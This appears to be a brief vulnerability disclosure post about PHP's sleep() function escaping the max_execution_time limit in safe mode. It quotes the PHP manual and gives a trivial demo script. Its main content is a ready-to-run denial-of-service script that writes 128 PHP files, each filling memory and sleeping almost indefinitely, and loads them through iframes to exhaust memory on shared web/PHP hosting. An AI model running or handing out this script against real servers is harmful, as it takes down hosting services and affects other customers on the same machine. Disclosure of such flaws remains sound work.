function sleep() in all versions of PHP

[gogulas@xxxxx]

There is a quite big problem with sleep() function in php, 
The max_execution_time set to 60sec. in safe mode can be easy passed by using 
sleep() funcion, for example this script:
<?php
sleep(9999999);
echo 'Hello World';
?>
Will print hello world after 9999999 seconds... so max_execution_time simply 
dosnt work :P Why? we can find in manual:
"max_execution_time only affect the execution time of the script itself. Any 
time spent on activity that happens outside the execution of the script such as 
system calls using system(), stream operations, database queries, etc. is not 
included when determining the maximum time that the script has been running."
including sleep() :P
We can use this vuln to run out memory on web/php hosting:
<?php
if (!file_exists('./temp')) (@mkdir("/temp", 0777))? $temp='temp/':
   $temp='';
   else $temp='temp/';
   for($n=0;$n<128;$n++) {
      $rand = mt_rand();
      $fp = fopen("$temp$rand.php", 'w+');
      fwrite($fp, '<?php while(memory_get_usage()<16000000) $a.=\'X\'; 
sleep(999999999); ?>');// for 16mb memory limit
      fclose($fp);
      echo "<iframe src=\"$temp$rand.php\" name=$n width=\"10\" 
height=\"10\"></iframe>";
   }
?>